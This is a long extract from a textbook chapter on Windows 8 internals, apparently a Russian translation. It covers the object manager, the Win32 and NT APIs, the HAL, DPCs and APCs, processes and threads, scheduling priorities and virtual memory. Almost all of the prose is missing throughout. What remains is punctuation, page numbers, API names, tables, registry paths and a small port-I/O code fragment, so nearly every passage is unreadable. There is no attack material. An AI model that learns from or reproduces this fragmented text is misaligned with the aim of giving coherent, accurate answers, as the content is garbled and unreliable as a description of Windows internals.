). NtAllocateVirtualMemory, NtMapViewOfSection,
NtReadVirtualMemory NtWriteVirtualMemory
, , , . NtCreateFile API
. NtDuplicateObject API
.
Windows. UNIX
, , ,
, , , ,
, , -. UNIX ,
, , SystemV, i- .
UNIX .
, SystemV, .

11.2. Windows

945

Windows
NT, (object manager).
, , , . ( ),
( ).
NT (NT namespace) Unicode. UNIX, NT
( ,
). NT , .
, .
,
, ,
, .
, .

. ,
(
). ,
(device objects). (driver object),

-. .
( ), (
) , ( )
.
UNIX,
, NT .
, NT
. NT
.
,
.
(permanent) ,

( ).
NT, ,
UNIX.

946

11. : Windows 8

NT.
,
NT.
( ).
( ).
( ) ,
i-,
/dev UNIX.

NT ,
Win32, NT.

11.2.2.
Win32
Win32
Win32 (Win32 API). .
, NT ( ), (
) .
NT ,
Win32 API.
Windows Win32 API
( API ).
. 11.5 Win32 API
NT API, . ,
.
Win32 NT, , Win32
NT. Win32
Win32 NT. , NT (
MS-DOS LPT:). Win32 API
Win32 (csrss.exe) ,
( ),
Windows.
Win32 ,
NT . - , NT,
. - Win32 API
ANSI Unicode. . 11.5 Win32 (
) (, CreateProcessW CreateProcessA).
API NT API Unicode,
NT Unicode.

11.2. Windows

947

11.5. Win32 API NT API,



Win32

NT API

CreateProcess

NtCreateProcess

CreateThread

NtCreateThread

SuspendThread

NtSuspendThread

CreateSemaphore

NtCreateSemaphore

ReadFile

NtReadFile

DeleteFile

NtSetInformationFile

CreateFileMapping

NtCreateSection

VirtualAlloc

NtAllocateVirtualMemory

MapViewOfFile

NtMapViewOfSection

DuplicateHandle

NtDuplicateObject

CloseHandle

NtClose

Windows
Win32, , , ,
, .
.
Windows , , ,
. ,

,
. Microsoft
,
( ) ,
.
Windows ,
Windows-on-Windows (WOW). WOW32 32- x86
16- Windows 3.x ( 16- 32-).
WOW64 32- Windows
x64.
Windows UNIX. UNIX ,
,
. Win32
( -
),
( CreateFile CopyFile).
, Win32 , ,
, - ,
API .

948

11. : Windows 8

Win32 API,
NT API, .
Win32 .
, (, , , , ,
IPC).

,
.
(
).
- (
).
Windows . -, ,
( ). -, Win32
(file mapping),
(
NT ).
,
, .
. Win32
, NT , (
).
(
UNIX mmap).
Windows , . ,
.
(, ).
(
). NT ()
NT, .
-. Win32 . Win32
60 ,
, ,
, ,
.
.
, NTFS,

11.2. Windows

949

. ( ) . ,
( ).
RAID .

(journal), NTFS
.
NT ( , \foo\bar , ,
\Device\HarddiskVolume\foo\bar). NTFS ( Windows )
.
- Windows .
- , -,
-. Windows , -. Windows
, -
. ( C
Win32) -
.
- ( ).
, Win32 , . , (token),
. ACL (Access Control List ),
,
.
,
. ,
(, ).
Win32 NT (
). Win32 API
NT ( NT -, \\.). Win32
. \DosDevices NT
( ). , \DosDevices\C: \Device\HarddiskVolume1.
Win32, COM1:, LPT1: NUL:
( , -). \Dos\
Devices \??,
. NT \BaseNamedObjects ,
Win32 API. ,
, , .

950

11. : Windows 8

Win32
API
(
). , , ,
, , , ,
( ), .
, , , , . ,
, ,
, .

win32k.sys ( ).
NTOS,
.

11.2.3. Windows
NT . ( ) NT. NT
, ? , Windows NT
( ). (registry). ,
(hives). (
C:\Windows\system32\config\ )1. Windows ,
SYSTEM ,
(, ) .
Windows SYSTEM ,
, , ,
.
( , ).

, .
, , COM (Component
Object-Model) .
SAM (Security Access Manager).
lsass SECURITY,
,
. Windows
. 11.6.
1

,
/ . . .

11.2. Windows

951

11.6. Windows. HKLM


HKEY_LOCAL_MACHINE

STEM

HKLM \SYSTEM

( )

HARDWARE

HKLM \HARDWARE

BCD

HKLM \BCD*

SAM

HKLM\SAM

SECURITY

HKLM\SECURITY

lsass

DEFAULT

HKEY_USERS\DEFAULT

NTUSER.DAT

HKEY_USERS<user id>

SOFTWARE

HKLM \SOFTTWARE

COMPONENTS

HKLM \COMPONENTS

Windows
.ini, . ,
. Plug-and-Play.
Windows . ,
,
. ,
,
.
(
). (Born, 1998; Hipson,
2002; Ivens, 1998), ,
, .
Windows
regedit, ( ) ( ).
PowerShell Microsoft
( ).
procmon, - Microsoft : www.
microsoft.com/technet/sysinternals.
Procmon ,
. , .
regedit
. :

952

11. : Windows 8

, , , .
Microsoft ,
,
UNIX. , iOS Android, - .
Win32. , . .
. 11.7.
11.7. Win32 API

Win32 API

RegCreateKeyEx

RegDeleteKey

RegOpenKeyEx

RegEnumKeyEx

RegQueryValueEx

,
.
, (
). .

11.3.
Windows Vista , .
, , ,
, .
, ,
(, ),
, .
, Windows,
, , . , , Microsoft Windows
Internals, 6- , 1 2 (Russinovich and Solomon, 2012).

11.3.1.
, Windows Vista
(. . 11.2).
, .

11.3.

953

NTOS, ntoskrnl.exe ( Windows).


NTOS : (executive),
, , (kernel) ( ?),
, .
NTOS NT
VAX/VMS. VMS, ,
: , ,
( , VAX). Intel
, (
NT) , , VMS
(, ), NT
.
NT . 11.4. NTOS
, , .
ntdll.dll,
. ( )
libc UNIX. Ntdll.dll
, , APC (Asynchronous Procedure Calls ) . , NTOS
ntdll . NTOS
, -,
ntdll, ntdll, .
NTOS HAL (Hardware Abstraction Layer
), (
DMA), ,
(, ).
,
Windows Hyper-V.
( . 11.4 ). Windows, .
, ,
, .
, Windows (partition).

. , , , .
.

954

11. : Windows 8

. 11.4. Windows

( root) . () .

,
. Hyper-V
Windows, , Linux.
, ( ) .
, ,
, - , -,
, ,
, . ,
, ,
.
BIOS ,
EEPROM ( ).
. Windows ,
NTOS HAL. ,
, DRM
(Digital Rights Management ),
, . .

11.3.

955

- ( )
NTOS HAL.
- , ,
,
. SYSTEM . Plug-and-Play
-
HARDWARE, , ,
.
.

HAL ( )
Windows
. ,
, . , .
(
,
), ,
, ( ).
NTOS ,
( 2 % 86 1 %
64). 86,
ARM, , (
).
( )
,
, . (
)
( , ).
(
)
. , NT
. NT compare&swap,
, . ,
. , NT,
.

( ).
(,
-). , -

956

11. : Windows 8

, -,
DMA,
, , , ACPI
(Advanced Configuration and Power Interface
), . . Microsoft

HAL ( ).
HAL
, ( , ). HAL
( ),
NTOS.
HAL

(
).
HAL -,
, , .
, HAL (
). HAL ,
:
HAL. Microsoft HAL
Development Kit,
HAL,
( , ).
, HAL, - -.
, . : -
? ,
, HAL
:
uc = READ_PORT_UCHAR(port);
us = READ_PORT_USHORT(port);
ul = READ_PORT_ULONG(port);

WRITE_PORT_UCHAR(port, uc);
WRITE_PORT_USHORT(port, us);
WRITE_PORT_LONG(port, ul);

8, 16 32-
. - ,
HAL. , ,
.
-.
. (PCI, PCIe, USB, IEEE 1394 . .),
,
. HAL

11.3.

957

(
). , ,
.
.
. HAL
,
, , - ,
.
HAL.
HAL DMA
. DMA,
DMA -.
. HAL / (
).
HAL .
100 , 1 1601 ,
, . ( : 1800 ? : .)
, .
, . HAL
(, ), , , ,
.
, HAL (BIOS)
, , .
. . 11.5 , HAL.

. 11.5. , HAL

958

11. : Windows 8


HAL NTOS, : . Windows .
, .
ntoskrnl.exe, NTOS Windows. NTOS (
).
kernel32.dll (
) Win32.
Windows ( . 11.4 ) .
,
, . ( ) .
.
,
( ).
,
. , , ( ),
, - ( -
), ,
( ).
.
( ).
( ) , ,
,
.
( ).

: . (control objects)
,
. ,
, . (dispatcher
objects) ,
.


- , , , , , -

11.3.

959

DPC APC. DPC (Deferred Procedure Call


) ISR (Interrupt Service
Routines ),
. , ISR-,
.
.
. , ,
. (
) 0.
3 , ISR
, (
).
ISR ,
, , ,
- . ISR,
ISR
.
ISR ,
-
. ,

. DPC
, ISR , DPC DPC
. DPC ,
2 (
NT DISPATCH).
ISR, 2,
DPC. ISR DPC DPC
( ).
ISR. UNIX
1970- ( ,
). ISR
.
, ISR
(,

, ).
Windows .
ISR ,
, . DPC
( ,
).

960

11. : Windows 8

DPC 2, ISR ,
,
DPC 2.
ISR DPC.
, ISR DPC ( ,
).
DPC .
( )
( ).


APC (asynchronous procedure
call ). APC DPC , , DPC,
,
. , DPC,
DPC ,
( ).
DPC , . - ,
- , -
, (
, ).

. ,
, UNIX.
- , - ( ). ,
,
, . ,
( ).
DPC.
- ,
-.
, ,
.
, ,
ntdll.dll.
,
-. -

11.3.

961

- QueueUserAPC Win32
API .
(
-). ,
, , .
, , ,
. ( )
,
.


.
( ),
(. 11.6).

. 11.6. dispatcher_header
( )

, , , ,
. , , ,
IPC. , , , .
(, ) . , , ,
. , - , ,
, , .
Windows
, API (, wait3, UNIX
) .
. UNIX (
select) 64 . Windows
API WaitForMultipleObjects,
( ). WaitForMultipleObjects

962

11. : Windows 8

64 , -.
,
( -).
,
, . (notification object)
. (synchronization objects)
, ( ).
,
.
, ( ).
dispatcher_header.
: Windows ,
OS/2,
,
.


. 11.4, NTOS .
, ( )
(MIPS, x86, PowerPC, Alpha, IA64, x64
ARM). ,
, .
.

,
. ntoskrnl.exe, ,
. Microsoft
, - (-, , ,
. .).
, Windows , ,
,
,
(,
MMU).
.
- , -

11.3.

963

. ,
,
, .
,
, ,
( ,
).
, .
( ),
, .
(object manager)
, . , , ,
, -, .
, , . Windows
,
.
:
, ,
, , NT,
.
, , .
,
, .
- , .
API . Windows,
.
- (I/O manger)
-
, . Windows ,
. , , Windwos ( ).
Windows
(
).
Windows ( 1 ).
, . ,
,

964

11. : Windows 8

. (Blue Screen Of Death


(BSOD)), , Windows
. BSOD ,
(kernel panic) UNIX.
, Microsoft ,
(, MINIX 3 L4) :
, .
70 % , ( ,
), . .
- Plug-and-Play
. Plug-and-Play , . Plug-and-Play.
( Plug-and-Play ),
.
, . ,
, .
- , 11.7, NTNTFS 11.8.
,

. , ,
. ,
, , .
11.9.
(process manager)
, . , ,
(, ). , ,
, ,
. , (, ). 11.4.
(memory manager)
. ,
, , , .
(,

11.3.

965

)
(, ). 11.5.
(cache manger) - (
). ,
. , UNIX, .
.
.
, ,
( ). - ,
.
11.6.
(security reference monitor)
Windows, , Common Criteria (
).
,
(, , ,
). ,
. Windows
.
11.10.
,
. (configuration manager) , ( ).
, .
SYSTEM, .
( -,
),
. , - ,
.
LPC , .
, (RPC)
- . RPC
TCP/IP.
LPC Windows 8 ( ALPC Advanced
LPC LPC)), RPC ( RPC ,
). LPC NT,
-

966

11. : Windows 8

( ) , ,
( Win32 POSIX).
Windows 8 - WNF (Windows
Notification Facility Windows). WNF-
WNF. ()
( 4 ) , (,
).
. ,
.
WNF ,
, IPC , . ,
.
WNF
IPC: .
, , .
, ,
, , ,
. ,
- ,
, ,
, . WNF NT API- ()
Win32.
API- Win32 WinRT.
Windows NT 4.0 Win32
,
. csrss.exe, Win32.
(win32k.sys).
Win32,
( LPC).
, ,
, .


. 11.4 (device drivers).
Windows , NTOS.
(,
-), -

11.3.

967

. , Win32 .
-
(. 11.7). (sevice stack)
(device
objects) . , ( -, ).
,
(filter) - ( ,
). . -
,
,
.
,
RAID.

. 11.7. NTFS.
- .
. ,

968

11. : Windows 8

.
,
.
( ). ,
(file system filter drivers),
(
- ,
).
(, IPv4/IPv6 Windows) ( -).
Windows MS-DOS TCP/IP ( - Windows).
, , Windows -
(mini-ports). .
, SCSI IDE, USB-
, -
.
, 11.7 -
.

11.3.2. Windows
,
. , , .
,

(flashing). ,
. , . ,
BIOS (Basic Input/Output System -),
UEFI (Unified Extensible Firmware Interface ). UEFI BIOS
, ,

, ,
.

,
. Windows , ,
Windows- BootMgr. BootMgr ,
( ,
). , BootMgr -

11.3.

969

WinResume.exe. WinLoad.exe
. WinLoad
: ( ntoskrnl.exe), HAL
(hal.dll), SYSTEM , Win32k.sys (
Win32), ,
SYSTEM (boot drivers) ( , ).
Hyper-V, WinLoad .
Windows NTOS, HAL,
, ,
SYSTEM ( ).
( smss.exe, /etc/
init UNIX).
Windows
. (Trusted Platform Module (TPM)),
.
, ,
. TPM
, , BitLocker
. ,
TPM , .
,
,
.
Windows .
regedit ( SYSTEM)
.

. : (safe-boot),
,
(recovery console), cmd.exe,
, UNIX.
: ,
Windows, , ,
. (Microsofts On-line Crash
Analysis) , , Windows Vista
. ,
x86 (),
,
(
).

970

11. : Windows 8

11.3.3.
, ,
Windows, .
,
, , ,
, , , . (, , ,
Win32) . - (
NT ).
Key . , NT
. , ,
.
.
,
. .
, .
NT ( ).
(
)
( WaitForMultipleObjects). (ACL),
, .
( )
.
, , () , .
. ,

, , .
, ,
, ( ) .
, ( ).
( ) (
).
NT.
NT.
(. 11.8). , . , ( NT),
,
(ACL) .

11.3.

971

. 11.8. ,

( ) ,
. ( malloc) ,
, c . ,
2 ( ).
ISR DPC ( ), . ,
( ).

, ( LIFO )
. ,
.
,
. ,
. ( , ) (
).
, (- ). ( )
( ).
, .
, . , ,
, , ,

972

11. : Windows 8

. Windows,

(,
).

, , (referenced pointers).
, .
, .
, ,
, .


, .
- ( ). Windows (handles, ). ,

. . 11.9 ,
. .
, ,
, .

. 11.9. (
512 )

. 11.10
( ).
(
). ,
.
,
.

11.3.

973

,
,
.

. 11.10. (
16 )


( Win32, CreateSemaphore
OpenSemaphore). ,
.
, , 64-
, (
). 32- ( ). 64-
32- .
29- . 3
(, ). 3 . 32-
. ,
. ,
0,
( ).


( ). ,
,
(,
). ,
( , ; ; ,
NT).

974

11. : Windows 8

, NT (
). ( ) , ,
.
NT , . ,
( Parse). Parse ,
(. 11.8).
11.8. ,

Open

Parse

Close

Delete

Security

OueryName

Open ,
, , NULL
.
Close Delete .
,
( Close). , Delete,
.
-,
, . -,
( ).
Parse (
), NT.

, , ,
Parse. , , . ,
, .
Parse -,
- ( ,

11.3.

975

,
). .
QueryName , . Security , .

.
, , . 11.8,
, (
), . ,
.
API-, , .
, NtReadFile NtWriteFile,
, , ,
, .
, , ,
, NtClose ( ,
).

, ,
.
winobj,
www.microsoft.com/technet/sysinternals.
, . 11.9
( ).
11.9.

\??

MS-DOS :

\DosDevices

\??,
\??

\Device

\Driver

\ObjectTypes

(, . 11.12)

\Windows

Win32

\BaseNamedObjects

Win32, ,
. .

976

11. : Windows 8
11.9 ()

\Arcname

\NLS

\FileSystem

\Security

\KnownDLLs

\?? MS-DOS,
: ( -) : ( ).
\Device,
. \?? , (
, ).
.
,
. ,
, ( )
. ,
(
).
,
. Windows .
,
, , (,
).
( ).
, NT API, Win32 API
. , ,
, ;
; ,
, .
, Windows API , API (
NtClose).
- , .
( ).

11.3.

977

, Windows (application verifier),


Microsoft.
( 11.7),
( , ).
FIFO ,
( LIFO, ).

( ).

. -,
.
,
,
- (
).
, , ,
, ( ).
,
( UNIX). Parse, (. 11.11).
1. (, NtCreateFile -) ObOpenObjectByName , (
Unicode) NT (, \??\C:\foo\bar).
2.
, \??\C: (, -).
, .
3. Parse
IopParseDevice, -.
( :), (\foo\bar).
4. - IRP (I/O Request Packet ), ( ,
).
5. IRP -,
, :.
, .
CREATE, \foo\bar ).

978

11. : Windows 8

6. IRP
, - ,
.
( ).
7. (, NTFS). ,
CREATE NTFS.
8. NTFS -,
( ,
IopParseDevice . 11.8).
9. .
Parse (
, , ).
,
.
10. ( ),
CreateFile Win32 API.
.

. 11.11. -

,
ObCreateObjectType .
, . Windows . 11.10.
.

11.3.

979

11.10.
( )

Process ()

Thread ()

Semaphore ()

Mutex ()

Event ()

( )

ALPC Port ( ALPC)

Timer ()

Queue ()

,
-

Open file ( )

Access token (
)

Profile ()

Section ()

Key ()

( )

Object directory (
)

Symbolic link ( )

Device ()

- ,
,

Device driver (
)

.
, (
). (, ) . ,
(,
-). : . , , .
, , -
,
( ),

980

11. : Windows 8

( ).
,
( ).
, . ( LPC). . ( KQUEUES) ,
- , ,
.
, , .
.
, . . ,
( ).
,
( , ).
,
.
( ),
( ).
. ( \REGISTRY),
NT.

NT, .
:
.

.
( )
,
. , ( ) .
,
, .
( )
( , Win32).

11.3.4. , DLL

. 11.2, , Windows
.
-

11.3.

981

, Windows :
, DLL .
Windows; , NT

( ). ,

( VMS Berkeley UNIX VAX
DEC). , , , Microsoft
, OS/2 (
). OS/2 , Win32 API (
Windows 95) .
Windows (Dynamic Link Library (DLL)), ,
(
).
, .
Windows DLL, ntdll.dll
( )
( ), ,
.
DLL (
), (
), (
, ).
, , ,
(-
), Windows DLL (DLL hell).
DLL . , ,
IAT (Import Address Table
). ,
DLL, ( ,
DLL DLL, ). DLL
, IAT .
. :
DLL
, DLL . , Windows DLL
, . -
,
, DLL attach

982

11. : Windows 8

. - attach
DLL, ,
.
DLL .
(hosting) . Internet Explorer DLL, ActiveX
(ActiveX controls). - , .
Microsoft Office DLL , Office .
(omponent bject Model ) ,
, ()
DLL , .
, DLL,
DLL ( Microsoft
side-by-side).
,
Windows ( ).
.

. Microsoft .
.
, , ,
, . Windows
.
, ,
, . ,
,
.
,
.
.
, ,
( ).
, .
( )
, .

, ( Windows
ALPC).

11.4. Windows

983

, ( ).
Singularity Microsoft Research (Fandrich et al., 2006) ( C# Java) ,
.
.
Windows .
. lsass.exe,
, (
),
. Plug-and-Play
(
), . (,
)
.
Windows taskmgr.exe ,
. (svchost.exe) . Windows (
). ,
.

DLL. Win32,
.
,
( TCP/IP
IP Security), ( RPC ).
Windows .
( ,
, , ).
Windows ( Windows Server).

11.4. Windows
Windows . Win32 API, , .

11.4.1.
Windows . , , .
, -

984

11. : Windows 8

, ,
, (
), .
, PEB (Process Environment Block
). (EXE DLL), , ,
( Win32,
).
Windows. ( ).
(affinitized),
. ,
, . :
, .
TEB (Thread Environment Block ),
, (Thread Local Storage) Win32, ,
, .
, , (user shared data). , , .
, ,
, , ( ,
, , ).
,
.
, ,
(, )
. (, )
( ),
, , .
, , ,
.

,
, .
,
, ,
, ,
. , UNIX, UNIX Windows.
UNIX 16- , .

11.4. Windows

985

fork
.
( ) . fork UNIX

. .
, NT
32- , 1 16 .
, NT
, ( ).
, , ,
. 64- ( )
.
.
, , , , ( )
. ,
- ,
, ,
(
). Windows UNIX
, , .


Windows , ,
,
(restricted token),
. ( ) , ,
, ( )
. . ,
, .
(). ,
,
. ,
,
( ). , , (
), ,
(

). Windows .

986

11. : Windows 8

Windows , . , ,
, .
. 11.12 (jobs), (processes),
(threads) (fibers). . .
.
--.

. 11.12. , , .
:

( , ).
,
. ,
SwitchToFiber ( ).
, , ( ).
,
, .
.
( ).
,
( ).
, ,
(
).
,
-- ( ). . Win32
, ,
, .
, , , ,
, () -

11.4. Windows

987

, .
(
, ).


Win32 Windows, .
,
, .
, .
, .
, .
(
) (
). Windows
Win32, API-
.
, -
. , ,
,
, . , -
, .
, , .
,
-,
, ,
. , ,
- ,
, .


.
, Windows-
: .
UNIX.
,
. ,
.
, , ,
. ,

988

11. : Windows 8

,
.

, ,
.

. Windows 7 Microsoft UMS (User-Mode Scheduling ),
. UMS , , scheduler activations
( ). ,
, Win32,
Win32.
UMS :
1. :
. , UMS
.
2. : , UMS ,
.
, .
3. :
- ,

,
.
UMS
Windows. UMS
,
, . , .
. 11.11.
11.11. ,

AppContainers

11.4. Windows

989

, . ,
, . , (, , . .), .
Win32, ,
.
, , (
).
, (
, ).
. 11.9 11.10
. ,
(
). Windows
FIFO () , .
.
, ,
, . : , .
, .
CONTEXT (
). , CONTEXT
. CONTEXT
, .
,
( - )
( ), -

990

11. : Windows 8

. (
, .)
-. -,
- . ,
. - . , .
, ,
. , . , ,
Win32. ,
- , ( ) . , .
,
( ).
, (
) Windows ,
.
,
(system process). . , ,
.
,
. (,
), (
, , -
).

11.4.2. API ,
,
CreateProcess Win32 API.
.
, ( )
. , ,
, , . ,
.

,
.
Win32 , ( ,
).
,
UNIX:

11.4. Windows

991

1. Win32, UNIX .
2. UNIX, Windows
. Windows
( , UNIX,
, ).
3. UNIX , Win32 .
(, *.txt ) -.
4. UNIX . Windows , .
5. Win32 ,
(
UNIX
).
6. Windows SETUID,
, (
).
7. Windows
, ,
. UNIX
fork exec ,
exec .
, . UNIX , Windows
. UNIX PATH. Windows MS-DOS
.
, Win32 NT,
system fork exec UNIX. NT (NtCreateProcess
NtCreateThread) , Win32. NT (
), (,
) (
). ,
, .
POSIX

( ).

992

11. : Windows 8

fork POSIX ( Win32).


POSIX Windows , ,
, fork exec UNIX.
.
, ,
, ,
( - NtResumeThread
).
argv/argc (
API ).
Windows Vista API ,
NtCreateUserProcess,

. .
. (
) . NtCreateUserProcess
, ,
,
,
. , ( ),
, ,
, . ,
,
, , .


, , , , , ,
. : ( ).
, UNIX. ,
, 128
128 ( 512 ,
).
, .
( ).
(mailslots) OS/2, Windows . ,
. , ( ).
, . ,
( ). ,
Windows , . -

11.4. Windows

993


.
(sockets) , ,
. , , (
) .
,
 , ,
. Berkeley UNIX,
. Berkeley
Windows ( ,
).
RPC ( ) ,

. . , , . RPC
. Windows
TCP/IP, ALPC. ALPC (Advanced Local Procedure
Call ) .
.
, (
, RPC
, , ALPC). ALPC
( ).
, .
,
( ). , ,
.
,
.

.
Windows ,
( ,
, ).
( ), ,
( ) .
CreateSemaphore Win32
API, . , .
DuplicateHandle (
).

994

11. : Windows 8

Win32, ACL .
, .
up down, :
ReleaseSemaphore ( up) WaitForSingleObject ( down). WaitForSingleObject, ,
0 ( ).
WaitForSingleObject WaitForMultipleObjects
( 11.3). API
, ,
(
, -,
).
, ,
, . ,
API (WaitForSingleObject)
(ReleaseMutex). , ,
.
(critical section).
. Windows ,
, . ,
.
EnterCriticalSection LeaveCriticalSection . API
, .
-
( ) ( ).
,
.
.

, (events). ,
: (notification events)
(synchronization events). : .
WaitForSingleObject.
SetEvent, . , ,
ResetEvent.
,
. PulseEvent, SetEvent (
, , ). SetEvent ( )

11.4. Windows

995

,
( API ) .
Win32 API ,
100 ,
IPC.
Windows ,
WaitOnAddress InitOnceExecuteOnce. WaitOnAddress . WakeByAddressSingle, WakeByAddressAll,
, , WaitOnAddress
. API
, .
, ,
. WaitOnAddress (sleep/wakeup), UNIX. InitOnceExecuteOnce
. ,
. ,
. 11.12.
11.12. Win32, ,
Win32 API

CreateProcess

CreateThread

CreateFiber

ExitProcess

ExitThread

ExitFiber

SwitchToFiber

SetPriorityClass

SetThreadPriority

CreateSemaphore

CreateMutex

OpenSemaphore

OpenMutex

WaitForSingleObject

, . .

WaitForMultipleObjects

PulseEvent

ReleaseMutex

996

11. : Windows 8
11.12 ()

Win32 API

ReleaseSemaphore

EnterCriticalSection

LeaveCriticalSection

WaitOnAddress

WakeByAddressSingle

WakeByAddressAll

InitOnceExecuteOnce

, . ,
, Win32 NT API. ( )
, , ,
Windows .
.

11.4.3.
, Windows
( ). Win32 , . API ( ).
.
, , .
, CreateProcess
Win32. ( ) kernel.dll,
NtCreateUserProcess ,
:
1. ( )
Win32 NT. (
), ,
( ,
PATH, ).
2. (
) NtCreateUserProcess.
3. , NtCreateUserProcess ,
, -

11.4. Windows

997


.
4. (
, ,
).
5. ,
, , ,
self-map,
. self-map 11.5.
6. ,
, .
7. , (
, , ).

.
8. Process Environment
Block (PEB) , ,
(,
(DLL).
9. , , .
10. ( - )
.
11. . Thread Environment Block (TEB).
CONTEXT, ( ).
12. . . (
).
13. NtCreateUserProcess
, , , .
14. NT API , Win32 ,
(, WOW64). , ,
.
CreateProcess.

998

11. : Windows 8

15. NtCreateUserProcess , -. Win32 csrss.exe Win32.


Kernel32.dll csrss,
( , ).
(
Win32).
( ), , - , . (
), ( )
- 2 .
16. ( Internet Explorer),
.
17. (shimmed)
Windows, (shims). ,
,
.
18. , NtResumeThread
,
.
Windows ,
API- NT,
. ,
, , ,
DRM .
API- NtCreateProcess - , ,
.

Windows . ,
, , ,
.
:
1. , , , - . .
2. (, up ).
3. .
1 -. , ,

11.4. Windows

999


CONTEXT .
2 . ,
. ,
,
, . , , Windows ,
,
. , ,
,
( ,
).
3 ,
( , ).
, ,
, .
.
:
1. -.
2. .
-,
. , ,
( ).
(
). (DPC)
.
down - ,
-, . -
DPC, .
- , ,
, ( 1).
. Win32 API API . SetPriorityClass,
.
: real-time, high, above normal, normal idle.
.
,
, , . , ,
(
, ).

1000

11. : Windows 8

Win32 API SetThreadPriority.


(, , ) . : time critical, highest,
above normal, normal, below normal, lowest idle. time critical
, idle (
).
, (+2, +1, 0, 1,
2 ).
.
. 32 0 31. 32 ( . 11.13).
(base priority) . ,
(current priority), (
) .
11.13. Win32 Windows

Win32

Win32
Real-time

High

Above
Normal

Normal

Below
Normal

Idle

Time critical

31

15

15

15

15

15

Highest

26

15

12

10

Above normal

25

14

11

Normal

24

13

10

Below normal

23

12

Lowest

22

11

Idle

16


32 , 32 ( 0 31) . 11.13.
. 31 0.
,
. ,
.
, ,
( ).
, ,
.
, ( , ).
( ). , ,
, ( ).

11.4. Windows

1001



, .
,
, .

(ideal processor) ( ). , , ,
.
,
(
, ). NUMA (NonUniform Memory Access).
.
NUMA, ( ).
. 11.13. ,
: real-time, user, zero idle (
1). . 1631
,
, ,
.
( DPC ISR). ,
, DPC ISR (
).

. 11.13. Windows Vista 32

1002

11. : Windows 8

. , , ,
, ,
, .
.
.
115. ,
. (ZeroPage)
0 .
.
,
. ,
, , , ( ).
( )
( 15). , . 11.13,
, .
.
, . -, -
, (
-). ,
-.
- 1, 2, 6, 8.
-, , ,
, (, , ,
), .
, 8. , ,
( ).
.
.
,
.
, , ,
( ).
. ,
.
, (, 12),
( 4). ( . 11.14, ).
, -
8 (. 11.14, ).

11.5.

1003

. 11.14.

, , , ( , ,
).
( 8 ).
(priority inversion).
Windows , Autoboost ().
Autoboost , ,
.
Windows , . Windows
terminal server, using RDP
(Remote Desktop Protocol ) .
,
. Windows DFSS (Dynamic
Fair-Share Scheduling ),
. DFSS
(scheduling groups).
, Windows,
, . ,
,
.

11.5.
Windows .
Win32,

1004

11. : Windows 8

NTOS. , Win32, .

11.5.1.
Windows
. 86 32 ,
4 , 2 . x64
, .
86, 64
4 , , , 2
( ).
86 . 11.15. 64
. ,
.

. 11.15.
86. .

64 .
2 . 2
( , , ). 2
, ( ,

11.5.

1005

, ).
.
, ,

. , , .
, UNIX.
- ,

.
.
Windows (
). ,
(,
).
.


: , . (invalid
page) , , .
,
(commited). , .
, -
, ( ).
,
, , ,
( - ).
(soft faults), .
(reserved) .
,
. ,
,
,
.
( , ).

. ,
( ,
). ,

1006

11. : Windows 8

,
, .


, .
(pagefile). ,
.
:
(
). , ( ).
Windows (just-in-time) . ( )
, . , , .
, ,
. Windows.
,
(smss.exe).
(, , )
.
, .
( ) ,
.

, , ,
.

( -). ,
, .
.
. , (
)
( ).
,
( ). , , (standby list),
( ).
,

11.5.

1007

.
( ).
, ,
,
, .
Windows 16 . ( -).
( ),
( ). ( )
, , , (
).
,
(

). , ,
.
( EXE
DLL) .
,
, ,
. ( ), .
, ,
. , ,
,
,
. Windows ( ) (copy-onwrite). ,
,
. ,
, ,
. ,
( ).
EXE DLL
,
( ). -
, (
).
.
.
( ).

1008

11. : Windows 8

NT, (
), .

11.5.2.
Win32 ,
.
. 11.14. ,
, ,
. , ;
,
.
11.14. Win32
Windows
Win32

VirtualAlloc

VirtualFree

VirtualProtect

(//)

VirtualQuery

VirtualLock

( )

VirtuelUnlock

CreateFileMapping

()

MapViewOfFile

( )

UnmapViewOfFile

OpenFileMapping

API , , . 64 (
, ).
64 ,
. API ( ) .
,
. ,
. , .
, (
). . 11.14, Windows
API,
, (. . 11.4).
API .
(. . 11.10) CreateFileMapping. -

11.5.

1009

( ) ()
Win32, .
( ).
API ,
( CreateFileMapping),
. ,
. .

11.5.3.
86 Windows ( )
4 ( ). .
( 64 ). x86 4 . ,
4
(Translation Lookaside Buffer (TLB)) . 2
( TLB
,
TLB).

. 11.16. .
lib.dll

1010

11. : Windows 8

, , . , ( )
, .
( . 11.16
), VAD (Virtual Address Descriptor),
,
, . ,
. VAD. (
).
. ( )
( ) , .


Windows , EXE
DLL ,
.
, , .
, ( ,
Microsoft Super-Fetch). (
). (
). ,
( ).
,
.
,
. , ,
( ).

.
(,
, ).

.
.
. ( )
.
. ,
VAD ( )

11.5.

1011

.
( )
.
. 86 64
. 11.17. , ( ).
, (invalid),
.
. , ( )
.

. 11.17. (page table entry (PTE))


Intel x86 AMD x64

. () (D).
.
,
(LeastRecently Used (LRU)). LRU , ,
,
. , . ,
, , (, ,
).
, ( ,
- ).
, 86 x64,
64 (. . 11.17).
:
1. .
2. .
3. .

1012

11. : Windows 8

4. .
5. , .
.
, ,
(
), (access violation)
. , ,
.
, (
), .
, .
,
, . , .
, , .
. , ,
. , ,
.
, .
. ,
(, ,
), ,
. (, , ),
(,
, ).
,
, ( ,
).
, ( ),

Вам также может понравиться